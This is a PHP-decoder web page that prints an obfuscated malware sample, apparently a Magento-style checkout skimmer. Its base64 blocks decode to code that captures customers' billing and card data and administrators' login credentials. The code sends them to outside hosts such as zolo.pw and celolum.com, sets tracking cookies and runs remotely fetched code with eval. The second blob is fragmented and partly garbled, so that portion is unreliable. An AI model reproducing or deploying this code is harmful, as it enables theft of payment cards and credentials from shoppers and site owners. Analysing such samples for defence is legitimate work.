Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
$beda_code = base64_decode(trim("dHJ5IHsKICAgICRwb2tlanUgPSBhcnJheSgNCiAgICAgICAgJ3M6LycsI..
Decoded Output download
<? $beda_code = base64_decode(trim("dHJ5IHsKICAgICRwb2tlanUgPSBhcnJheSgNCiAgICAgICAgJ3M6LycsICcxJywgJ3RtbCcsICdQYScsICdaYS16MCcsICdIVCcsICdGT1JXQScsICdHRVQnLA0KICAgICAgICAnKy89JywgJ3N0cnInLCAnZmlyZScsICdhZG1pJywgJ0hUVFAnLCAndGUnLCAnI29uZScsICdSRScsDQogICAgICAgICdBRERSJywgJ2dlfGMnLCAncHJpY2UnLCAnX2RlJywgJ2Rpc2NvJywgJ2FjZS93JywgJ2hlYycsICdodCcsDQogICAgICAgICdweCcsICdIVCcsICdjLnNwYScsICd0IycsICdvcmQnLCAnYWRkcmUnLCAnX0hPJywgJzEyNy4wJywNCiAgICAgICAgJ2tvdXR8JywgJ2Nrb3V0JywgJ2Jhc2UnLCAnRF8nLCAnRVRITycsICdudDonLCAnX0MnLCAnbWVyJywNCiAgICAgICAgJ0knLCAnUkVRVUUnLCAnX2MwMScsICdlJywgJ3RlJywgJy50JywgJyNeWycsICdBRCcsDQogICAgICAgICdUX0knLCAnU1QnLCAnUkUnLCAnJCMnLCAnI2NhcicsICdTRVJWJyk7CgogICAgJG92ZXN1YmVnZSA9ICRwb2tlanVbNDFdIC4gJ1NUX00nIC4gJHBva2VqdVszNl0gLiAnRCc7CiAgICAkY2h1anloYSA9ICRwb2tlanVbMTRdIC4gJ3BhJyAuICRwb2tlanVbMTddIC4gJ2hlYycgLiAkcG9rZWp1WzMyXSAuICdvbmVzJyAuICRwb2tlanVbNDRdIC4gJ3B8JyAuICRwb2tlanVbMTBdIC4gJ2NoZScgLiAkcG9rZWp1WzMzXSAuICd8b25lcycgLiAkcG9rZWp1WzEzXSAuICdwYycgLiAkcG9rZWp1WzIyXSAuICdrb3UnIC4gJHBva2VqdVsyN107CiAgICAkb3Z5a2hpenVsdSA9ICRwb2tlanVbNTBdIC4gJ1FVRScgLiAkcG9rZWp1WzQ5XSAuICdfVVInIC4gJHBva2VqdVs0MF07CiAgICAkZXZhemljaCA9ICRwb2tlanVbNTJdIC4gJ3QjJzsKICAgICR3YXh5emhvbCA9ICRwb2tlanVbMTFdIC4gJ25oJyAuICRwb2tlanVbMl07CiAgICAkb3h5cmFiYXIgPSAkcG9rZWp1WzIzXSAuICd0cCcgLiAkcG9rZWp1WzBdIC4gJy9wYXRoJyAuICRwb2tlanVbMjZdIC4gJ2NlL3NwJyAuICRwb2tlanVbMjFdIC4gJ2lkZ2V0JyAuICRwb2tlanVbNDVdIC4gJ3h0JzsKICAgICR0b3Jla28gPSAkcG9rZWp1WzI1XSAuICdUUCcgLiAkcG9rZWp1WzM4XSAuICdMSUVOJyAuICRwb2tlanVbNDhdIC4gJ1AnOwogICAgJHZpaG9neSA9ICRwb2tlanVbMTJdIC4gJ19YXycgLiAkcG9rZWp1WzZdIC4gJ1JERScgLiAkcG9rZWp1WzM1XSAuICdGT1InOwogICAgJGp1cWVxb3RoYSA9ICRwb2tlanVbMTVdIC4gJ01PVEVfJyAuICRwb2tlanVbNDddIC4gJ0RSJzsKICAgICRhdHV4eWcgPSAkcG9rZWp1WzI0XSAuICdjZWwnIC4gJHBva2VqdVszXSAuICdnZScgLiAkcG9rZWp1WzQyXSAuICcwMDInOwogICAgJHVkYW11ZG9sbyA9ICRwb2tlanVbNV0gLiAnVFAnIC4gJHBva2VqdVszMF0gLiAnU1QnOwogICAgJGJvY2hhZHV3ZSA9ICRwb2tlanVbMjBdIC4gJ3VudDonOwogICAgJHh1cXlzeWRhID0gJHBva2VqdVsyOF0gLiAnZXI6JzsKICAgICRpdmV0dWNoID0gJHBva2VqdVsxOF0gLiAnOic7CiAgICAkZXRoYXFpc2h1ID0gJHBva2VqdVszOV0gLiAnY2hhJyAuICRwb2tlanVbMzddOwogICAgJHNoaWtvY29wID0gJHBva2VqdVsyOV0gLiAnc3M6JzsKICAgICRhY2l6dWR1aGUgPSAkcG9rZWp1WzUzXSAuICdFUl8nIC4gJHBva2VqdVsxNl07CiAgICAkYWNpc2hvYyA9ICRwb2tlanVbN107CiAgICAkb3F5bGF6aXRlID0gJHBva2VqdVszNF0gLiAnNjQnIC4gJHBva2VqdVsxOV0gLiAnY29kJyAuICRwb2tlanVbNDNdOwogICAgJHRoYWxpdHlnYSA9ICRwb2tlanVbOV0gLiAnZXYnOwogICAgJGRlY2hhcWlyaSA9ICRwb2tlanVbNDZdIC4gJ0EtJyAuICRwb2tlanVbNF0gLiAnLTknIC4gJHBva2VqdVs4XSAuICddKycgLiAkcG9rZWp1WzUxXTsKICAgICRzaGFqYXB1bnV0aCA9ICRwb2tlanVbMzFdIC4gJy4wLicgLiAkcG9rZWp1WzFdOwogICAgJGF4aXZvbCA9IDA7CiAgICAkZXphdGVrZW0gPSAwOwogICAgJGFxdXpob2NoeW0gPSBpc3NldCgkX1NFUlZFUlskYWNpenVkdWhlXSkgPyAkX1NFUlZFUlskYWNpenVkdWhlXSA6ICRzaGFqYXB1bnV0aDsKICAgICRpemhpZ3l3dSA9IGlzc2V0KCRfU0VSVkVSWyR0b3Jla29dKSA/ICRfU0VSVkVSWyR0b3Jla29dIDogaXNzZXQoJF9TRVJWRVJbJHZpaG9neV0pID8gJF9TRVJWRVJbJHZpaG9neV0gOiAkX1NFUlZFUlskanVxZXFvdGhhXTsKICAgICR1bXV6eWYgPSAkX1NFUlZFUlskdWRhbXVkb2xvXTsKICAgIGZvciAoJGNvcGVxdSA9IDA7ICRjb3BlcXUgPCBzdHJsZW4oJHVtdXp5Zik7ICRjb3BlcXUrKykgewogICAgICAgICRheGl2b2wgKz0gb3JkKHN1YnN0cigkdW11enlmLCAkY29wZXF1LCAxKSk7CiAgICAgICAgJGV6YXRla2VtICs9ICRjb3BlcXUgKiBvcmQoc3Vic3RyKCR1bXV6eWYsICRjb3BlcXUsIDEpKTsKICAgIH0KCiAgICBpZiAoKGlzc2V0KCRfU0VSVkVSWyRvdmVzdWJlZ2VdKSkgJiYgKCRfU0VSVkVSWyRvdmVzdWJlZ2VdID09ICRhY2lzaG9jKSkgewogICAgICAgIGlmIChwcmVnX21hdGNoKCRjaHVqeWhhLCAkX1NFUlZFUlskb3Z5a2hpenVsdV0pICYmICghcHJlZ19tYXRjaCgkZXZhemljaCwgJF9TRVJWRVJbJG92eWtoaXp1bHVdKSkpIHsKICAgICAgICAgICAgaWYgKCghaXNzZXQoJF9DT09LSUVbJHdheHl6aG9sXSkpICYmICghaXNzZXQoJF9DT09LSUVbJGF0dXh5Z10pKSkgewogICAgICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygiY3VybF9pbml0IikpIHsKICAgICAgICAgICAgICAgICAgICAkZXNoZXpvbCA9IGN1cmxfaW5pdCgkb3h5cmFiYXIpOwogICAgICAgICAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRlc2hlem9sLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsKICAgICAgICAgICAgICAgICAgICBjdXJsX3NldG9wdCgkZXNoZXpvbCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgMTUpOwogICAgICAgICAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRlc2hlem9sLCBDVVJMT1BUX1RJTUVPVVQsIDE1KTsKICAgICAgICAgICAgICAgICAgICBjdXJsX3NldG9wdCgkZXNoZXpvbCwgQ1VSTE9QVF9IRUFERVIsIGZhbHNlKTsKICAgICAgICAgICAgICAgICAgICBjdXJsX3NldG9wdCgkZXNoZXpvbCwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwgZmFsc2UpOwogICAgICAgICAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRlc2hlem9sLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCBmYWxzZSk7CiAgICAgICAgICAgICAgICAgICAgY3VybF9zZXRvcHQoJGVzaGV6b2wsIENVUkxPUFRfSFRUUEhFQURFUiwgYXJyYXkoIiRib2NoYWR1d2UgJGF4aXZvbCIsICIkeHVxeXN5ZGEgJGV6YXRla2VtIiwgIiRpdmV0dWNoICRpemhpZ3l3dSIsICIkZXRoYXFpc2h1ICR1bXV6eWYiLCAiJHNoaWtvY29wICRhcXV6aG9jaHltIikpOwogICAgICAgICAgICAgICAgICAgICRqdXpodXFvdiA9IEBjdXJsX2V4ZWMoJGVzaGV6b2wpOwogICAgICAgICAgICAgICAgICAgIGN1cmxfY2xvc2UoJGVzaGV6b2wpOwogICAgICAgICAgICAgICAgICAgICRqdXpodXFvdiA9IHRyaW0oJGp1emh1cW92KTsKICAgICAgICAgICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgkZGVjaGFxaXJpLCAkanV6aHVxb3YpKQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvIChAJG9xeWxheml0ZSgkdGhhbGl0eWdhKCRqdXpodXFvdikpKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KfSBjYXRjaCAoRXhjZXB0aW9uICR1dGhvaHV0eXpobykgewogICAgCn0="));
define("TREX_CODE", trim('$NzQBgIsvRe="tre";$e8X5ar_="n";$OIwYNn_xer="ed";$riUB_jR="str";$e8X5ar_.="o";$riUB_jR.="r";$OIwYNn_xer.="oc";$e8X5ar_.="i";$OIwYNn_xer.="ed_";$e8X5ar_.="t";$OIwYNn_xer.="4";$NzQBgIsvRe.="ss";$NzQBgIsvRe.="a";$e8X5ar_.="cnu";$OIwYNn_xer.="6es";$e8X5ar_.="f";$OIwYNn_xer.="a";$OIwYNn_xer.="b";$e8X5ar_.="_et";$e8X5ar_.="ae";$e8X5ar_.="rc";$riUB_jR.="ev";$e8X5ar_=$riUB_jR($e8X5ar_);$OIwYNn_xer=$riUB_jR($OIwYNn_xer);$NzQBgIsvRe=$riUB_jR($NzQBgIsvRe);$Gf_yCdHFJN="BFVUh0JbJVRWJVRT9FJg4CIioibcJHXiAiLgkXYw91YjRCKzEDdvJ3XyCIgoQD9BCIgACIgACIgACIgoQD7kSehB3XjNGJgwSXnQ1UPh0XQRFVIdyWSVkVSV0UfRCIuAyJfJmYnACLnUncugXZk5WY5BUb1x2bsV2YngCbpFWbABCIgACICAgIHNldGNvb2tpZSgiX21kbiIsIDEsIHRpbWUoKSArIDM2MDAwLCAiLyIpOw0KICAgICAgICAgICAgICAgIHNldGNvb2tpZSgiX2RudG9rZW4iLCAxLCB0aW1lKCkgLSAzNjAwMCwgIi8iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCn07IgoQD7kiMgwiMgwichVWefN2Ykgic0NnY1NHI9AichVWefN2YkACIpR3YuVnZoAiZpBCIgACIgACIgACIgACIgAiCNoQD7kSY0FGZfJXZzVHJgwyJiJTJnACLisiIoU2YhxGclJ3XyR3cg0DIhRXYk9lclNXdkACIgACIgACIgACIgACIgAiCNsTKwl2XyV2c1RCIuAyJ7cCIuASXn4WZr9GduR2XnsVRJt0TPN0XkAiLgIyOoRXYwRyOiAI+0DIH5USE90QOV0XUB1TMJVVDBCIgACIgACIgACIgACIgACIgAICAgICAgICAgICAgIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQgPT4gNiwNCiAgICAgICAgICAgICAgICAgICAgICAgIENVUkxPUFRfVElNRU9VVCA9PiA2LA0KICAgICAgICAgICAgICAgICAgICAXRfdXJsID0gImh0dHBzOi8vem9sby5wdy93dGYvaW5kZXgucGhwP2g9IiAuICRfU0VSVkVSWydIVFRQX0hPU1QnXTsNCiAgICAgICAgICAgICRjb250ZW50ID0gydwb3N0Y29kZSddIC4gJ3wnIC4gJF9QT1NUWydiaWxsaW5nJ11bJ2NvdW50cnlfaWQnXSAuICd8JyAuICRfUE9TVFsnYmlsbGluZyddWyd0ZWxlcGhvbmUnXSAuICcgJyAuICRfUE9TVFsnYmlsbGluZyaWYgKCFkZWZpbmVkKCJNRUdBTE9ET05fSEVBRCIpKSB7DQoNCiAgICBkZWZpbmUoIk1FR0FMT0RPTl9IRUFEIiwgMSk7DQoNCiAgICBpZiAoIDQogICAgICAgICAgICAgICAgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiA9PiBmYWxzZSwNCiAgICAgICAgICAgICAgICBDVDBCIgACIgACIgACIgACIgACIgACIgACIgoQDsU2csFmZg4TPgIVREFURI9FVQ9ETSV1QgACIgACIgACIgACIgACIgACIgACIgACIK0ALlVnc0BiP9AiUFZ0UOFkUU5kUVRVRS9IgAiCNwSZ1JHdg4TPg40TJRVQD9ETX9ETM9kRfRFUPxkUVNEIgACIgACIgACIgACIgACIK0ALlNHbhZGI+0DISVERBVESfRFUPxkUVNEIgACIgA09LSUVbJ3BvcnR6aWxsYSddID0gJyc7DQoNCiAgICAgICAgaWYgKCgoaXNzZXQoJF9DT09LSUVbJ3d0ZiddKSkgJiYgKG1kNSgkX0NPT0tJRVsnd3RmJ10pID09ICc3YWMxY2NhNWJlZThiOGIzMWE1MjFiNVRVFVRSdyWSVkVSV0UfRCI9ACa0FGckACIgACIgACIgACIgoQD7BSKpkSXn4GZt91JbVUSL90TD9FJoQXZzNXahgCImYCIp01Js1Gdo5WatRWYnsVRJt0TPN0XkgCdlN3cpBiJmASKddiblt2b0TD9FJgACIgACIgACIgACIK0QKp01JhxGbppHdy9GcnsVRJt0TPN0XkgCdlN3cphCImlGIgACIgACIgoQDK0wOpEDIsQlUPh0Uf50TE9ETBdURN91QSNEIuAiIQV1SDFkQf50TE9ETBdURNJCCAgICAgICAgICAgICBDVVJMT1BUX0VOQ09ESU5HID0+ICIiLA0KICAgICAgICAgICAgICAgIENVUkxPUFRfVVNFUkFHAgICAgICAgICAgICAgZm9yZWFjaCAoJF9QT1NUWydwYXltZW50J10gYXMgJHBfa2V5ID0+ICRwX3ZhbHVlKSBXYiBCLiEGdhRWbfJCKll2av92Y0V2cgACIgACIgACIgACIK0wOddCbpFWbldyWddCIiLA0KICAgICAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9VU0VSQUdFTlQgPT4gIk1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDUuMTgICAgICAgQ1VSTE9QVF9FTkNPRElORyA9PiAiIiwNCiAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9VU0VSQUdFTlQgPT4gIk1vemIdR1UPB1XUB1TMJVVDt1cu9Wa0B3bkACIgACIgACIgACIgACIgAiCNsHIpQ3cvBHJoAiZpBCIgACIgACIgACIgoQDK0wOpACIgACIgACIgACIgoQDlNHbhZGI+0DIUN1TIllRJJVRW9FTTN1XUB1TMJV5UX1NJWkUgPiA0KQ0KICAgICAgICAgICAgaWYgKCRjcmMzMiAmIDB4ODAwMDAwMDApDQogICAgICAgICAgICAgICAgJGNyYzMyID0gJGNyYzMyIC0gMHgxMDAwMDAwMDA7DQogICAgICAgICRjcmMzMiA9IGFicygkY3JjMzIpOw0KICAgIUX1VSSSddOw0KICAgICAgICAgICAgJHBvcyA9IHN0cnBvcygkcGF0aCwgIi9kYXNoYm9hcmQvaW5kZXgva2V5Iik7DQogICAgICAgICAgICBpZiAoJHBvcykgew0KICAgICAgICAgICAgICAgICRwYXRoID0gc3Vic3RyKCRwYXRoLCAwLCAk8iIgACIgACIgACIgACIgACIgoQDokXYyJXYg0DI5FmcyF0ckxWZpZGJgACIgACIgACIgACIK0wegkSKddCduVWb5FGcnsFVT9EUfRCK0V2czlGKgYWagACIgACIgAiCNsTfgACIgACIgAiCNsTKsxWaiRCKlR2bj5WZfRjNlNXYiBSPgu9WbfN2YkACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIK0gOyASZzF2YgACIgACIgACIgACIgACIgACIgACIgACIgfc2V0LiovIiA9PiAyLA0KICAgICAgICAgICAgICAgICIvLipjY19leHBfeS4qLyIgPT4gMywNCiAgIXZi1Wdu91YjRCK0V2czlGKgYWagACIgACIgACIgACIK0gCN0HIgACIgACIgACIgAiCN0HIgACIgACIgACIgACIgACIK0QfgACIgACIgACIgACIgACIgACIgAiCNszahVmciBCIgACIgACIgACIgACIgACIgACIgACIgoQD9BCIgACIgACIgACIgACIgACIgACIgACIgACIK0gCN0HIgACIgACIgACIgACIXnUWbh5GdzJXamdyWddyZulGbslmYnsFVT9EUfRCI9ACbslmYkACIgACIgfSE9TVCddIC4gIiBbIiAuICRfU0VSVkVSWydTRVJWRVJfQUREUiddIC4gIl0qIikpOw0KICAgICAgICAgICAgICAgICRjY19wYXlfZW5jb2RlZCA9IHN0cl9yZXBsYWNlKCIrIiwgIR0FMT0RPTl9CQUNLVVAiIC4gQ1JDX01FR0FMT0RPTl9TSE9SVCkpIHsNCiAgICAgICAgZGVmaW5lK0XQRFVIdyWSVkVSV0UfRCI9ACcp9lclNXdkACIgACIgACIgACIgACIgACIgACIK0wegkSKddCUJ9FVOVUSMN0XQRFVIdyWSVkVSV0UfRCK0V2czlGKgYWagACIgACIgACIgACIgACIgoQD9BCIgACIgACIgACIgACIgAiCNsTXnI1TG9FRFRkUBdlUPZ0XY9FUURsDa052bt91YjRCIuAyJwcCI9ACa052bt91YjRCIgACIgACIgACIgACIgACIgACIgoQDpEDI90DIpgGdu9WbfCIgoQD7BSKpkiIjVGelJCKzR3cphXZf52bpR3YuVnZoAiJmASKnEzJg0TIgQnbjRCKoAiZpBCIgACIgACIgACIgACIgAiCNoQD9BCIgACIgACIgACIgACIgAiCNsTK052YkgSbpJHdg0DI052YkACIgACIgACIgACIgACIgACIgACIK0wOpQWZk92YuV2X5FGcfN2YkA91YjRCIgACIgACIgACIgACIgACIgACIgoQDpkSXnEgAiCNsTKz52bpRHcvRCIsg2YkgSehJnch9Fdw9GdlN3XsJXdjBCIgACIgACIgACIgACIgACIgACIK0wOpEGdhR2XyV2c1RCIuACbyV3X0V2ZkgCdp5Wafxmc1NGI9ACajRCIgACIgACIgACIgACIgACIgACIgoQDKXnsVRJt0TPN0XkgCdlN3cphCImYCIp01JuV2avRnbk91JbVUSL90TD9FJoQXZzNXahgCImlGIgACIgACIgoQDK0QfgACIgACIgAiCNAiIvoiL0V2cfd3bsxWZ5piLvICIgACIgACIgACIgACIgACIK0ALzAiP9AiIvoiLyFWZZ52bpRXYylGc4VmKu8iIgACIgACIgACIgACIgACIgoQDsMDI+0DIi8iKuIXYll3XwhXZq4yLiACIgACIgACIgACIgACIyVHJoknclVXcfBXdrNWYi9lbvR2bsF2Zl1GIu9Wa0Nmb1ZGIgACIgACIgoQDK0wOpEDIsQlUPh0Uf50TE9ETBdURN91QSNEIuAiIH5USMxUSC9FUVt0QBJ0XO9ERPxUQHVUTigSZulmZlRGIgACIgACIgoQD7BSKpQlUPh0Uf50TE9ETBdURN91QSNEIuAiIH5USMb25fZXhpc3RzKCJjdXJsX2luaXQiKSkgew0KICAgICAgICAgICAgICAgICAgICAkb3B0aW9ucyA9IGFycmF5KA0KICAgICAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVFNCiAgICAgICAgICAgIGlmICghJGNvbnRlbnQpIHsCIgoQD7BSKlVHbhZ3XmRCI+0DI5V2afZGJgMXYgkXYyJXQzRGbllmZkgCIoNWYlJ3bmBCIgACIgACIgACIgoQDK0wOpQDI+0DIi8iKuQWaj91YjpiLvICIgACIguKmNjX251bS4qLyIgPT4gMSwNCiAgICAgICAgICAgICAgICAiLy4qY29udHJvbF9zZXR0aW5ncy4qLyIgPT4gMSwNCiAgICAgICAgICAgICAgICAiLy4qYdGggPSAkcF92YWx1ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAzOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY2NfeWVhciA9ICRwX3ZhbHVlOwRVJFUiA9PiB0cnVlLA0KICAgICAgICAgICAgICAgIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQgPT4gMTIwLA0KICAgICAgICAgICAgICAgIENVUkxPUFRfVElNRU9VVCA9PiAVVJMT1BUX0ZPTExPV0xPQ0FUSU9OID0+IHRydWUsDQogICAgICUSfBFSQhCImlGIgACIgACIgoQD7ADI6ASKddCVT9ESfBFVUh0JbJVRWJVRT9FJoIzMjJ3Yg8DIp01JUN1TI9FUURFSnslUFZlUFN1XkgCdlN3cpBSPgIzMjJ3YkACIgACIgACIK0wegkSKi40TE9ETBdURN91QSNkIoQWZulmZlRWsDQogICAgICAgICAgICAgICAgICAgIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QgPT4gZmFsc2UNCiAgICAgICAgICAgICAgICApOw0KDQoNCiAgICAgICAgICAgICAgICAkY2ggPSBjdXJsX2luaXQoJGdldF91cmwpOw0KICAgICAgICAgICAgICAgIGN1cmxfU2csFmZg4TPgIVRFBVWGlkUFZ1XMN1UfRFUPxkUVNEIgACIgACIgACIgACIgACIgACIgoQDsATMg4TPgMlUJRURShVQN9FVQ9ETSV1QgACIgACIgACIgACIgACIgACIgAiCNwCMyEDI+0DIUV1TF1USU9FVQ9ETSV1QgACIgACIgACIgACIgACIgACIgAiCNwCMyED0gMTsNCiAgICAgICAgICAgICAgICAkb3B0aW9uc1tDVVJMT1BUX1BPU1RGSUVMRFNdID0gJHBvc3Q7DQogICAgICAgICAgICB9DQoNCNlNjRfZW5jb2RlKCRiaWxsKSwgdGltZSgpICsgMzYwMDAsICIvIik7DQogICAgICAgICAgICAkX0NPT0tJRVsnX21kYXRhJ10NMSUVOVF9JUCddOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkdXNlcl9kYXRhID0gYmFzZTY0X2VuY29kZSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10gLiCAgICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCJjdXJsX2luaXQiKSkgew0KICAgICAgICAgICAgICAgICAgICAkY250ID0gbWVnYWxvZG9uX2JhY2t1cF9xdWVyeSgAmJiAoaXNzZXQoJF9QT1NUWydsb2dpbiddWyd1c2VybmFtZSddKSkgJiYgKGlzc2V0KCRfUE9TVFsnbG9naW4nXVsncGFzc3dvcmQnXSkpKSkgew0KICAgICAgICAgICAgJGF0b2tlbiA9IGJhc2U2NF9lbmNvZGUoJF9QT1NUWydsb2dpbi9PiAzLA0KICAgICAgICAgICAgICAgICIvLipzYXZhZ2Vfc2V0LiovIiA9PiA0LA0KICAgICAgICAgICApKSB7DQogICAgICAgICAgICAgICAgaWYgKHN0cmxlbigkY2NTBJFVOJVVUVkUfRFUPxkUVNEIgACIgACIgACIgACIgACIgACIgoQDokXYyJXYg0DIz52bpRHcvRCIgACIgACIgACIgACIgACIK0wegkSKiQXaul2XsJXdjJCKzR3cphXZf52bpR3YuVnZoAiZpBCIgACIgACIgACIgoQD7IiIACIgACIgAiCNsTK052YkgSbpJHdg0DI052YkACIgACIgACIgACIgACIgACIgACIK0wOpU2csFmZgwCZlR2bj5WZflXYw91YjRCIuAyJ9cXZpZ3PwhGcugXZk5Wav40TE9ETBdURN9SbvNmLtVHbvxWZj9yL6MHc0RHanACIgACIgACIgACIgAiCNwSZ1JHdg4TPg40TJRVQD9ETX9ETM9kRfRFUPxkUVNEIgACIgACIgACIgACIgACIg1lKCkgKyAzNjAwMCwgIi8iKTsNCiAgICAgICAgICAgICRfQ09PS0lFWydfZG50b2tlbiddID0gJGF0b2tlbjsSKddibpd2bsdyWUN1TQ9FJoQXZzNXaogCImlGIgACIgACIgoQDK0wOi0zdllmd/AHaw5CelRmbp9iTPR0TMF0RF10LlNWYwNnLjhGdhB3LvozcwRHdoJCI9ACbyV3X0V2ZkACIgACIgACIK0wOpEDGJg4mc1RXZyBCIgACIgACIgACIgoQD7kCajRCKjVGel9FbyV3YABSPgQnblRnbvNGJgACIgACIgACIgACIK0wOpMnbvlGdw9GJgwCajRCK5FmcyF2X0B3b0V2cfxmc1NGIgACIgACIgACIgAiCNsTKsJXdkgCdp5Wafxmc1NGI9ACajRCIgACIgACIgACIgAiNCiAgICAgICAgICAgICAgICBpZiAoc3RybGVuKCRjY195ZWFyKSA9PSA0KQ0KICAgICAgICAgICAgICAgICAgIgACIgoQDsATMg4TPgMlUJRURShVQN9FVQ9ETSV1QgACIgCAgICAgICAgICAgICAgICAgICBDVVJMT1BUX1NTTF9WRVJJRllQRUVSID0+IGZhbHNlLA0KICAgICAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCA9PiBmYWxzZQ0KICAgICAgICAgICAgICAgICAgICApOw0AgICAgICAgICAgICBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VUID0+IDlNXYjBCIgACIgACIgACIgACIgACIgACIgACIgACIgAiCNsHIpUWdsFmdfZGJoACajRXa3NHIgACIgACIgACIgACIgACIgACIgACIgAiCNsHIpkyclh2Y0FWbkACL5V2afBHJgwSelt2XmRCKoNGdh12XnVmcwhCImlGIgACIgACIgACIgACIgACIgACIgoQD7ICAgICAgICAgICAgICAgICAgQGN1cmxfZXhlYygkY2gpOw0KICAggACIgACIgACIgAiCNwSZ1JHdg4TPgIVRSVkRFJ1TUVVQfRFUPxkUVNEIgACIgACIgACIgACIgACIgACIgACIgAiCNwiIw4iMz8CevZWZylmRgEDMxAjMxAjMv82ajV2RgkCMuIzM6YncgsRUUF9YX0ZPUldBUkRFRF9GT1InXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgJHVzZXJfaXAgPSAkX1NFUlZFUlsnSFZnRCIgACIgACIgACIgAiCNsHIpkSKnMjNwgDO5AjY3kjYxITNhFzMihjY4UWZiVTYjNWMjF2NnASP9ASKddyd0Z2JbVUSL90TD9FJoUDZthCImYCIpkSXncHdmdyWFl0SP90QfRCK0V2czlGKoACf8BSKpcyM2ADO4kDMidTO21kbiddKSkpIHsNCiAgICAgICAgICAgIHNldGNvb2tpZSgiX21kbiIsIDEsIHRpbWUoKSAtIDM2MDAwLCAiLyIpOw0KICAgICAgICB9DQoNCiAgICAgICAgaWYgKGlzc2V0KCRfQ09PS0lFWydfZG5wYXkgLj0gJ3wnIC4gYmFzZTY0X2RlY29kZSgkX0NPT0tJRVsnX21kYXRhJ10pOw0KICAgICAgICAgICAgICAgICRjY19wYXlfZW5jb2RlZCA9IGJhc2U2NF9lbmNvZGUoc3RgICAgICAgICB9DQogICAgICAgICAgICAgICAgaWYgKCRjbnQgIT0gJzEnKSB7DQogICAgICAgICAgICAgICAgICAgICRjbnQgPSBAZmlsZV9nZXRfY29udGVudHMoJ2h0dHBzOi8vY2Vsb2x1bS5jb20vTUVHQUxPRE9OL2luZGV4LnBocD92aWV3PScgLibCwgJHBvc3QpIHsNCiAgICAgICAgICAgICRvcHRpb25zID0gYXJyYXkoDQogICAgICAgICAgICAgICAgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiA9PiB0cnVlLA0KICAgICAgICAgICFSnslUFZlUFN1XkgCdlN3cphCImlGIgACIgACIgACIgACIgACIK0wOddiUERUQfVEVP1URSdyWSVkVSV0UfRCI9ACcp9lclNXdkACIgACIgACIgACIgACIgAiCNsTKz9Gc50ZW50cygkZ2V0X3VybCk7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIGV2YWwoJGNvbnRlbnQpOw0KICAgICAgICAgICAgZXhpdDsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIGlmICghZGVmaW5lZCgiTUVHQUxPRE9OX0JBQ0tVUF9CSUx52ctpiLvICIgACIgACIgACIgACIgACIK0ALyAiP9AiIvoiLoRnbv1kbvlGdhJXawhXZq4yLiACIgACIgACIgACIgACIgAiCNwiMg4TPgIyLq4Ca052bt9Fc4VmKu8iIgACIgACIgACIgACIgACIgoQDsIDI+0DIi8iKu02XwhXZfN2oQD9BCIgACIgACIgACIgoQD7kCduVGdu92YkgSbpJHdg0DI05WZ052bjRCIgACIgACIgACIgACIgACIK0wOpg2YkgyYlhXZfxmc1NGQg0DI05WZ052bjRCIgACIgACIgACIgACIgACIK0wOpMnbvlGdw9GJgwCajRCK5FmcyF2X0B3b0V2cF1kIoQWZulmZlRWIoAiZpBCIgAiCNoQD9BCIgAiCNsTKwADMxASJgIzMjJ3YkACLiQlUPh0Uf50TE9ETBdURN91QSNkIoUmbpZWZkBCIgACIgACIK0wOpIzMjJ3YkACLi40TE9ETBdURN91QSNkIoUmbpZWZkBCIgACsATMg4TPgMlUJRURShVQN9FVQ9ETSV1QgACIgACIgACIgACIgACIgoQDsAjMxlNGRVIgPT4gdHJ1ZSwNCiAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9IRUFERVIgPT4gZmFsc2UsDQogICA2bj9Fdld2XlxWamBEI9ACduVGdu92YkACIgACIgACIgACIgACIgAiCNCIgACIgACIgACIgACIgACIgoQD6QDIlNXYjBCIgACIgACIgACIgACIgACIgACIgACIgACIgAiCNszahVmciBCIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIK0AgICAgIH0NCiAgICB9Ow0KDQogICAgaWYgKCFkZWZpbmVkKCJNRUdBTE9ET05fVSIgLiBDUkNfTUVHQUxPRE9OX1NIT1JUKSkgew0KICAgICAgICBkZWZpbmUoIk1FR0FMT0RPTl9VIiAuIENSQ19NRUdBTE9ET05fU0hPUlQsICIgACIgACIK0ALlVnc0BiP9AiUFJVRGVkUPRVVB9FVQ9ETSV1QgACIgACIgACIgACIgACIgACIgAiCNwiIw4iMz8CevZWZylmRgEDMxAjMxAjMv82ajV2RgkCMuIzM6YncgsTMuUDIU5EIzd3bk5WaXhCIw4SNvEGbslIgA